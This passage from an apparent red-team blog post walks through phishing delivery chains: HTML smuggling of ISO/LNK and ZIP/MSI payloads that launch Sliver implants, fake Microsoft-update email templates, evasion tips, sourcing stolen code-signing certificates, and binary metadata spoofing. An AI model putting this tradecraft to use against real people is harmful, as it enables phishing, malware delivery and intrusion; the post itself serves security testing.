Smuggling</figcaption></figure><h4><strong>3.6</strong> <strong>Send the HTML Smuggling Link via Email</strong></h4><ul><li>Host index.html on a reputable domain</li><li>Craft a phishing email with an internal-looking pretext</li></ul><p><strong>Example Pretexts:</strong></p><ul><li>“🔹 Invoice &amp; Signed Contract — Q2”</li><li>“🔹 Secure Document: Internal Use Only”</li></ul><p><strong>When clicked:</strong></p><ul><li>The ISO is downloaded via HTML smuggling</li><li>When opened, the user sees only the trigger.pdf</li><li>Clicking launches the hidden payload and shows the decoy</li></ul><p>index.html page that will download the file.iso automatically</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*3fTHE5A3MXbaaSPRSoRJjg.png" /></figure><p>When a user visitsindex.html, the file.iso is downloaded automatically.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*tmj_C-oWmUBDmklKwVr69Q.png" /></figure><p>When file.iso is clicked, it mounts automatically, displaying only trigger.pdf to the user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*O7FHB7xl7inwnhuUrePYEQ.png" /></figure><p>When trigger.pdf is opened, it launches the hidden payload while displaying a decoy document to avoid suspicion.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*o3uah_1USJpPffahQKtY4Q.png" /><figcaption>sliver session opened</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*utd987-3crbU9QWpykDgCg.png" /><figcaption>Normal PDF decoy appears to the user</figcaption></figure><p><strong>🔍 Why It Works</strong></p><ul><li><strong>HTML smuggling</strong> reconstructs payloads on the browser side, bypassing traditional scanners.</li><li><strong>ISO files</strong> bypass MoTW tagging on many Windows versions.</li><li><strong>Shell Links (.lnk)</strong> masquerade as trusted PDFs while executing code.</li><li><strong>Decoy PDF</strong> preserves the social engineering narrative, avoiding suspicion.</li></ul><h3>4. Scenario 2: <strong>Security Update — ZIP Container with Backdoored MSI Installer</strong></h3><p>“Nothing triggers urgency like a security patch.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*0xL604aNsOVg2XesTFaacw.png" /></figure><p><strong>Execution Flow:</strong></p><ol><li>User clicks link &gt; ZIP downloaded via HTML smuggling</li><li>User extracts ZIP &gt; sees “Microsoft Security Update” MSI</li><li>User installs MSI &gt; payload executes silently</li><li>Beacon established &gt; optional decoy installer screen appears</li></ol><p><strong>🛠️ Chain Creation Workflow</strong></p><h4>4.1 Build Backdoored MSI</h4><p>backdoor payload.exe in UpdateInstaller.msi</p><p>To exploit this, we need to package a Sliver payload into an MSI installer that will be installed and executed with SYSTEM privileges</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/657/1*U9uCLE8NE1cRUJnDa8RLDQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/563/1*CTA19nN1gMZ-zoBz9BiJGQ.png" /><figcaption>MIS UpdateInstaller created</figcaption></figure><p>UpdateInstaller.msi after build in release folder</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*4fqLmvH_F2K8-aqHTdftUw.png" /></figure><p>When itUpdateInstaller.msi is executed, the installation process will begin, and the Sliver payload will be executed silently in the background.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*G2PrQSklJ2AuBCLmTpR_aQ.png" /></figure><h4><strong>4.2</strong> <strong>Archive in a ZIP Container</strong></h4><p>The ZIP file is crafted to appear legitimate, using a filename such as Microsoft_Security_Update_KB70121.zip. Inside, it contains a signed-looking UpdateInstaller.msipayload. This approach helps:</p><ul><li>Bypass MoTW</li><li>Evade automated scanners and sandboxes by requiring manual extraction.</li><li>Add a layer of social engineering by mimicking official Microsoft updates.</li><li>Delay detection by blending into common IT workflows or patch management schemes.</li></ul><h4>4.3 <strong>Create Smuggled HTML Loader</strong></h4><p>Develop an HTML page that uses HTML smuggling to bypass security controls and silently drop a ZIP file (e.g., Microsoft_Security_Update_KB70121.zip) to the victim&#39;s device, as illustrated above.</p><h4>4.4 <strong>Email Template</strong></h4><p><strong>🎭 Pretext: </strong>User receives a fake internal email:</p><ul><li>Subject: “URGENT: Microsoft Security Update KB70121” or “Important Security Update for Endpoint Compliance — Action Required”</li><li>Body:</li></ul><p>Dear User,</p><p>A critical Microsoft security update is available for your system. Please install it as soon as possible.</p><p>[Install Update]</p><p>IT Department</p><p><strong>🔍 Why It Works</strong></p><ul><li><strong>ZIP bypasses sandbox</strong> previewing behavior due to extra interaction required.</li><li><strong>MSI appears trusted</strong>, and AV often doesn’t flag well-structured MSI installers.</li><li><strong>Urgency from “Security Update”</strong> pretext increases click-through rates.</li></ul><p>📌 <strong>Hardening Tips</strong>:</p><ul><li>Add digital signature lookalikes</li><li>Bind with legitimate MSI-based installers (ex: 7-Zip)</li><li>Use misleading ProductName in metadata (e.g., “Microsoft Defender Update Tool”)</li></ul><h3><strong>5. Lessons from the Trenches</strong></h3><ul><li><strong>No chain, no gain:</strong> Single-stage payloads are dead in modern environments.</li><li><strong>Red teams must think like vendors</strong> — craft believable, high-quality artifacts.</li></ul><h3>6. Bypassing Windows SmartScreen Protections via Payload Signing</h3><p>A highly effective technique for evading Windows SmartScreen and basic security controls during the initial access phase is <strong>payload signing</strong>. This method relies on signing malicious payloads with valid digital certificates to increase trust and reduce the likelihood of detection.</p><h4>Methods for Obtaining Code-Signing Certificates</h4><p>A highly effective technique for evading Windows SmartScreen and basic security controls during the initial access phase is <strong>payload signing</strong>. This method relies on signing malicious payloads with valid digital certificates to increase trust and reduce the likelihood of detection.</p><ol><li><strong>Establishing Shell Companies</strong><br> Threat actors may create and register fake or dormant business entities to legitimately acquire code-signing certificates from trusted Certificate Authorities (CAs). Although this approach demands significant time and operational resources, it provides a reliable and stealthy method for signing payloads.</li><li><strong>Leveraging Leaked or Stolen Certificates</strong><br> Compromised certificates can often be found through:</li></ol><ul><li>Data breaches</li><li>Public repositories (e.g., GitHub)</li><li>Misconfigured cloud storage (e.g., public AWS S3 buckets)</li><li>Underground forums or communities (e.g., cheat development sites)<br> These certificates can be repurposed to sign payloads and bypass SmartScreen and other basic defenses.</li></ul><h3>7. Modifying Signatures and Attributes to Evade Detection</h3><p>Beyond legitimate or stolen signing certificates, attackers can also manipulate the metadata of binaries to enhance their legitimacy and evade detection mechanisms.</p><p><strong>Attribute Spoofing</strong></p><p>Attackers can alter binary attributes to mimic those of trusted Microsoft system binaries (e.g., ComSvcConfig.exe). This spoofing increases the perceived trustworthiness of the file and may assist in bypassing both user scrutiny and basic endpoint detection systems.</p><p><strong>Tooling and Automation</strong></p><p>Tools such as <strong>MetaTwin19</strong> can automate the modification of digital signatures and binary metadata, making malicious files appear as if they are signed by Microsoft. This can be particularly effective in bypassing:</p><ul><li>Static signature-based detection</li><li>Basic sandbox analysis</li></ul><h3><strong>8. Final Thoughts</strong></h3><p>These advanced initial access chains blend deception, layering, and anti-analysis tactics to bypass modern defenses. Whether it’s a fake PDF or a security patch, the goal remains the same: establish a beachhead and do it quietly.</p><p>These two delivery scenarios mirror techniques <strong>real APTs</strong> are actively using. For internal red team assessments, using <strong>HTML smuggling + containerized payloads</strong> offers a powerful way to test your organization’s detection controls realistically.</p><p>if you find this blog useful, don’t forget to hit the clap button and follow the blog.</p><p><strong>Certifications:</strong><br>OSEC3, CRTL, CRTO, OSCP, OSEP, OSWE, OSED, eMAPT … Others</p><p><strong>Follow me on</strong> <a href="https://www.linkedin.com/in/frsfaisall/">LinkedIn</a> &amp; <a href="https://x.com/farisfaisall1">Twitter(</a>X) to stay updated and to know new things.</p><p>Bye Bye, Take Care.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=85cc79850a9a" width="1" height="1" alt=""><hr><p><a href="https://medium.com/sud0root/mastering-modern-red-teaming-infrastructure-part-5-initial-access-reloaded-red-team-payload-85cc79850a9a">Mastering Modern Red Teaming Infrastructure Part 5: Initial Access Reloaded: Red Team Payload…</a> was originally published in <a href="https://medium.com/sud0root">SUDOROOT</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>